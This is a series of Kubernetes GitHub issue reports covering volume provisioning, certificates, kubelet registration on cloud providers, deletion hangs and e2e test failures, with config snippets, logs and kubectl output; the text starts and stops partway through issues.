/usr/local/go/src/runtime/asm_amd64.s:2086\r    \r \r   what you expected to happen  :\r pvc should be successfully created and a new volume should be added in vsphere. \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. use the vsphere cloud provider\r \r \r 2. create the storage class:\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: fast\r provisioner: kubernetes.io/vsphere-volume\r parameters:\r     diskformat: zeroedthick\r    \r \r 3.. create the pvc\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvcsc001\r   annotations:\r     volume.beta.kubernetes.io/storage-class: fast\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r    \r \r   anything else we need to know  :\r using predefined volumes works fine. \r \r tagging @kerneltime

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r -   kernel    e.g.  uname -a  :\r  linux k8s-master 3.10.0-327.10.1.el7.x86_64  1 smp tue feb 16 17:03:50 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r terraform and the saltbase installer in this repository\r -   others  :\r \r \r   what happened  :\r the saltbase installer does not generate certificates for the kube-apiserver. the kube-apiserver.manifest expects a  kubeapiserver.cert  and a  kubeapiserver.key . specifically, the command generated in the  kube-apiserver.manifest  includes the following lines:\r    \r --kubelet-client-certificate=/srv/kubernetes/kubeapiserver.cert --kubelet-client-key=/srv/kubernetes/kubeapiserver.key\r    \r but the two files are not generated using the saltbase cert generator.\r \r   what you expected to happen  :\r the two files above would be automatically generated and present in  /srv/kubernetes/  from the salt installer.\r \r   how to reproduce it    as minimally and precisely as possible :\r provision a salt master on centos 7 using the saltbase in this repository\r \r   anything else we need to know  :\r if this issue is accepted i am happy to submit a patch as per the contributing guidelines.

networkprojectid defaults to project number, but when we compare r.network and gce.networkurl we get url with project name in the first, and project number in the latter. hence no routes are listed.\r \r @kubernetes/sig-network-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r we wanted to run kublets as part of our circle ci integration tests, however, since circle vms are lxc containers,  kerneltunablemodify  or  kerneltunableerror  will cause the kubelet to never be ready because the system settings do not match.\r \r   what you expected to happen  :\r if you manually compile the kubelet with  kerneltunablewarn  in  container_manager_linux.go , then everything works correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a kubelet in a ci environment where root cannot modify  /proc/sys/  \r \r   anything else we need to know?  :\r \r   environment  :\r - circleci build node  linux box299 3.13.0-100-generic  147-ubuntu smp tue oct 18 16:48:51 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r \r my exact test environment used  minikube  with  vm-driver=none , but i think running vanilla kubelets have the same issue  https://github.com/kubernetes/minikube linux-ci-installation-which-supports-running-in-a-vm-example-w-kubectl-installation . \r \r

one aspect of  43166 that was overlooked is the deletion of the container itself.  currently, pod deletion waits for containers to be stopped, volumes to be deleted, and cgroups to be removed.\r however, pod deletion does not currently wait for container deletion.\r \r 

example:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/12482\r \r it seems there's not enough cpu to start in time

  /assign\r \r the check for selector immutability is located at  prepareforupdate  functions of  deploymentstrategy  and  rsstrategy . we are not able to have the check at validation before _v1beta1_ api version retires due to breaking change to some tests  discussed in this closed  pr  https://github.com/kubernetes/kubernetes/pull/50348  . once _v1beta1_ retires, we should move the check to validation.\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r ref https://github.com/kubernetes/kubernetes/issues/55429, session affinity stops working when esipp=local. that is being fixed by https://github.com/kubernetes/kubernetes/pull/55519.\r \r   what you expected to happen  :\r we should add an e2e test to verify that session affinity is and will be continue working when esipp is enabled   service.spec.externaltrafficpolicy=local  .\r

sig/tls\r \r     cat /etc/kubernetes/kubelet.conf |grep \ client-certificate-data:\  | awk -f ': ' '{print $2}' |base64 -d | openssl x509 -noout -text | grep not\r                 not before: jan 12 03:02:07 2018 gmt\r                 not after : jan 12 03:02:11 2019 gmt\r \r the default certificate is only one year limit. how can i generate a new certificate if the one-year limit expires? manual generation?

forked from  25320\r \r as from the discussion with @gmarek and @bgrant0607 we have to start checking taints wherever we check for node.spec.unschedulable. also overlaps on some parts with  57690 \r \r  /assign

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i created a job and deleted it with the foreground propagation policy, but it is never actually deleted. same issue with a pod. it will be \ terminating\  forever.\r \r   what you expected to happen  :\r \r i expected the pod/job to disappear within a few seconds/minutes and not still be there after hours.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a job or pod, issue a delete with  '{\ kind\ : \ deleteoptions\ , \ apiversion\ : \ v1\ , \ propagationpolicy\ :\ foreground\ }'  and it will never be deleted until you change the propagation policy to  background . even when no pods or other dependents are associated with it anymore. same with just a single pod, it will be \ terminating\  forever until you delete it with background propagation.\r \r   anything else we need to know?  : no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.9\r - cloud provider or hardware configuration: dedicated machine\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  : -\r - install tools: rancher kubernetes engine\r - others:

this is particularly useful for those images used in e2e tests. today each image has its own scripts to build and deploy, there is no automation and no conventions throughout.  /cc @artfulcoder who has done some work on auto-building images.

there are many duplicated conformance cases in both  test/e2e/common/projected.go  and  test/e2e/common/downwardapi_volume.go \r \r 1. should provide container's cpu limit\r \r 1. should provide container's memory limit\r \r 1. should provide container's cpu request\r \r 1. should provide container's memory request\r \r 1. should provide node allocatable  cpu  as default cpu limit if the limit is not set\r \r 1. should provide node allocatable  memory  as default memory limit if the limit is not set\r \r \r \r

failing jobs\r    gce-1.10-master-upgrade-cluster-parallel   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-parallel \r \r this job tests upgrading master and node, in gce gci , from 1.10 to master, run parallel tests only.\r \r    error logs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/3694\r \r  / / /milestone v1.11\r /assign @sjenning \r cc @jberkus @tpepper\r \r possible breaking change https://github.com/kubernetes/kubernetes/pull/63717

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  : my  local docker cluster setup  https://sigs.k8s.io/kind  broke after https://github.com/kubernetes/kubernetes/pull/68890, after much debugging we discovered that the api server could not reach itself on  localhost , further debugging showed that dns lookups for localhost were occuring. long story short, while we have  /etc/hosts  entries for localhost, the api server was not respecting them.\r \r   what you expected to happen  : our standard control plane deployments should not lookup localhost via dns. they should respect /etc/hosts\r \r   how to reproduce it  as minimally and precisely as possible   : create a cluster and monitor network traffic. then try again after adding a minimal  /etc/nsswitch.conf  to the api server pod.\r \r \r   anything else we need to know?  : prior art: https://github.com/gliderlabs/docker-alpine/issues/367 issuecomment-424546457\r \r this happens because we build with go's build in dns resolution, which respects glibc's nsswitch.conf, but we build images based on busybox for some components  like the apiserver  which does not ship with one.\r \r \r \r   environment  : kubernetes using  kind  https://sigs.k8s.io - kubernetes version  use  kubectl version  :  v1.13.0-alpha.0.1636+e9fe3f77e9b181 \r \r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r we hope that kubernetes support limiting blkio resources.\r we use the annotation of kubernetes to pass the parameters of the cgroup to control the container blkio. the current features apply only to the linux devmapper environment.\r \r   why is this needed  :\r in my production environment, multi-tenancy shares a storage device, we must isolate the io of each tenant to ensure that the tenants do not interfere with each other. cri does not provide an interface for io resource isolation.\r \r <!-- do not edit below this line -->\r  

what happened  :\r \r from https://github.com/kubernetes/kubernetes/pull/67205 issuecomment-439530024\r \r > validationerror csinodeinfo : unknown field \ apiversion\  in csi.storage.k8s.io.v1alpha1.csinodeinfo, validationerror csinodeinfo : unknown field \ kind\  in csi.storage.k8s.io.v1alpha1.csinodeinfo, validationerror csinodeinfo : unknown field \ metadata\  in csi.storage.k8s.io.v1alpha1.csinodeinfo; if you choose to ignore these errors, turn validation off with --validate=false\r \r this indicates that the required  kind ,  apiversion ,  metadata  fields are not present in the published openapi schema for the custom type\r \r /assign @roycaihw \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r pod with smb cifs  mount could not be terminated on windows when that smb account is invalid, the pod will be stuck forever \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pod with azure file mount on windows\r 2. make the storage account of azure file invalid\r 3. delete the pod\r 4. pod with azure file mount could not be terminated forever\r \r \r   anything else we need to know?  :\r similar to case: https://github.com/kubernetes/kubernetes/issues/73513\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.6\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r  \r \r

what happened  :\r when running kubelet on a node where the hostname and azure vm name do not match due to using azure's  \ computer name\   https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/createorupdate osprofile  feature, the kubelet will fail to register with the error\r \r    \r kubelet.go:1354  kubelet failed to get node info: failed to get instance id from cloud provider: instance not found\r    \r \r this appears to happen due to the azure cloud provider code assuming that the node name must be equal to the azure vm name.\r \r   what you expected to happen  :\r \r the node should register itself using the computer name / hostname as the node name.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create an azure vm with a different  computername  than the vm name. try to register it as a node and see that it fails to register.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.3\r - cloud provider or hardware configuration: azure\r \r https://github.com/azure/acs-engine/issues/105 is a related issue, but was solved by just avoiding having a discrepancy between the node name and the computer name.\r \r 

no one of  heapster, influxdb and grafana bring up  i have run kubernetes in ubuntu by the commond: kubernetes_provider=ubuntu ./kube-up.sh  in file kubernetes/cluster/ubuntu/config-default.sh write:   optional: when set to true, heapster, influxdb and grafana will be setup as part of the cluster bring up.  enable_cluster_monitoring=\ ${kube_enable_cluster_monitoring:-true}\  but no one of  heapster, influxdb and grafana bring up, why?

hi, i found that there was a pull request below to add logdir support for collecting logs inside containers user application, but not redirect to standard docker stdout/stderr , it's much a convenient approach and will save lots of resource required by log agent compared with sidecar pattern.   https://github.com/kubernetes/kubernetes/pull/13010  but this pull request was closed, is there any other alternative approach in current version? or can we continue that pr?  thanks!

forked from:  36764\r \r dynamic typer doesn't work with a list.\r this is observed when i was working on  kubectl create --edit   36764\r \r cc: @deads2k @liggitt

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/395/  failed:  k8s.io  downward api volume should update annotations on modification  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:138 timed out after 120.001s. expected     <string>: content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\      content of file \ /etc/annotations\ : builder=\ bar\      kubernetes.io/config.seen=\ 2016-11-23t11:40:34.331775604z\      kubernetes.io/config.source=\ api\       to contain substring     <string>: builder=\ foo\       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:137       previous issues for this test:  28462  33782  34014

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r currently, if a docker image has a 'healthcheck' instruction defined in the dockerfile, docker daemon continues to do the healthcheck. duplicated health checks are the result of having it conflict with kubernetes' liveliness checks.\r \r   what you expected to happen  :\r  --no-healthcheck=true  is passed in, on creation of the docker container.\r \r reference:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_container.go l122\r \r https://github.com/kubernetes/kubernetes/blob/master/vendor/github.com/docker/docker/api/types/container/config.go l49\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a dockerfile with a 'healthcheck' instruction; when doing a 'docker ps', you will see a healthy or unhealthy status on the running container.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.7\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r currently, ipvs proxier does not run any e2e test cases. \r \r   what you expected to happen  :\r \r i think it's important to create test suite for ipvs in upstream ci which will help a lot in moving ipvs existing alpha.\r \r   anything else we need to know?  :\r \r @lion-wei let's work together.\r \r 

\r $ kubectl describe node xxxx\r name:\t\t\txxxx\r role:\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=n1-standard-8\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-central1\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-central1-a\r \t\t\tkubernetes.io/hostname=xxxx\r \t\t\trole=app\r annotations:\t\tcluster-autoscaler.kubernetes.io/scale-down-when-unready-disabled=true\r \t\t\tvolumes.kubernetes.io/controller-managed-attach-detach=true\r taints:\t\t\t<none>\r creationtimestamp:\twed, 30 aug 2017 11:11:59 -0400\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t-------\r   networkunavailable \tfalse \tmon, 01 jan 0001 00:00:00 +0000 \twed, 30 aug 2017 11:12:00 -0400 \troutecreated \t\topenshift-sdn cleared kubelet-set noroutecreated\r   outofdisk \t\tfalse \twed, 11 oct 2017 09:53:27 -0400 \ttue, 10 oct 2017 16:21:04 -0400 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \twed, 11 oct 2017 09:53:27 -0400 \ttue, 10 oct 2017 16:21:04 -0400 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \twed, 11 oct 2017 09:53:27 -0400 \ttue, 10 oct 2017 16:21:04 -0400 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \twed, 11 oct 2017 09:53:27 -0400 \ttue, 10 oct 2017 19:11:58 -0400 \tkubeletready \t\tkubelet is posting ready status\r addresses:\r   internalip:\t10.128.0.4\r   externalip:\t35.192.31.109\r   hostname:\txxxx\r capacity:\r  cpu:\t\t8\r  memory:\t30716976ki\r  pods:\t\t80\r allocatable:\r  cpu:\t\t8\r  memory:\t30614576ki\r  pods:\t\t80\r system info:\r  machine id:\t\t\t0fb831b9af0c70629bc60f8366e636c8\r  system uuid:\t\t\t5c45b096-9494-551d-be08-88bec8f53702\r  boot id:\t\t\t2c9a8fdd-b557-463a-8112-b54ab1b3fa97\r  kernel version:\t\t3.10.0-693.1.1.el7.x86_64\r  os image:\t\t\tcentos linux 7  core \r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://1.12.6\r  kubelet version:\t\tv1.7.0+695f48a16f\r  kube-proxy version:\t\tv1.7.0+695f48a16f\r externalid:\t\t\t6760223460393971340\r non-terminated pods:\t\t 2 in total \r   namespace\t\t\tname\t\t\t\t\t\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t\t\t\t\t\t------------\t----------\t---------------\t-------------\r   kube-system\t\t\tprometheus-node-exporter-06b6x\t\t\t\t100m  1% \t200m  2% \t30mi  0% \t50mi  0% \r   origin-ci\t\t\tcmd-2-pr-16554-5bd4e131e6ac2120f8c58cde944v2\t\t2500m  31% \t0  0% \t\t6656mi  22% \t8gi  27% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   2600m  32% \t200m  2% \t6686mi  22% \t8242mi  27% \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   12m\t\t12m\t\t1\tkubelet, xxxx\t\t\tnormal\t\tnodenotschedulable\tnode xxxx status is now: nodenotschedulable\r    \r \r once that event expires i'm fairly certain i would have no idea that the node is cordoned.

is this a bug report or feature request?  : bug report\r \r  \r   what happened  :\r \r when trying to do a yum update to 1.9.1 from the kubernetes yum repo, yum update fails and get error: \  long random string  kubelet-1.9.1-0.x86_64.rpm is not signed\  \r \r   what you expected to happen  :  package to be signed\r \r   how to reproduce it  as minimally and precisely as possible   : yum update -y\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1  updating from 1.9.0 \r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : centos 7\r - install tools: yum\r \r

hi there,\r \r i'm trying to install kubernetes cluster on openstack with flag  --cloud-provider=openstack . and when restart kubelet, i have error:\r    \r feb 27 17:08:01 test1 kubelet 16407 : f0227 17:08:01.757592   16407 kubelet.go:1364  kubelet failed to get node info: failed to get external id from cloud provider: multiple results where only one expected\r    \r \r - the reason is on my openstack system, i have more than 1 instance with the same name  test1 . and i think it's the big problem when install kubernetes cluster on cloud-system.\r \r of course, when i change name of instance, everything is ok, but in the future, i don't know if there's some instances with the same name.\r \r please check this error for complete kubelet.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r i created a deployment with 2 replicas mounting an rbd backed pvc. the pvc was readonlymany with proper \ readonly: true\  settings specified. only 1 pod in the deployment ran. the other received a \ timeout expired waiting for volumes to attach/mount\  message.\r   what you expected to happen  :\r i expect the rbd volume to be mounted read-only multiple times and the all replicas to be available.\r   how to reproduce it  as minimally and precisely as possible   :\r create a deployment with 2 replicas that mounts an rbd volume readonly.\r \r   anything else we need to know?  :\r i've looked through the code a bit and it looks like kubelet is always checking rbdstatus to see if the volume is already mounted. there should be an exception to this when readonly option is specified.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , 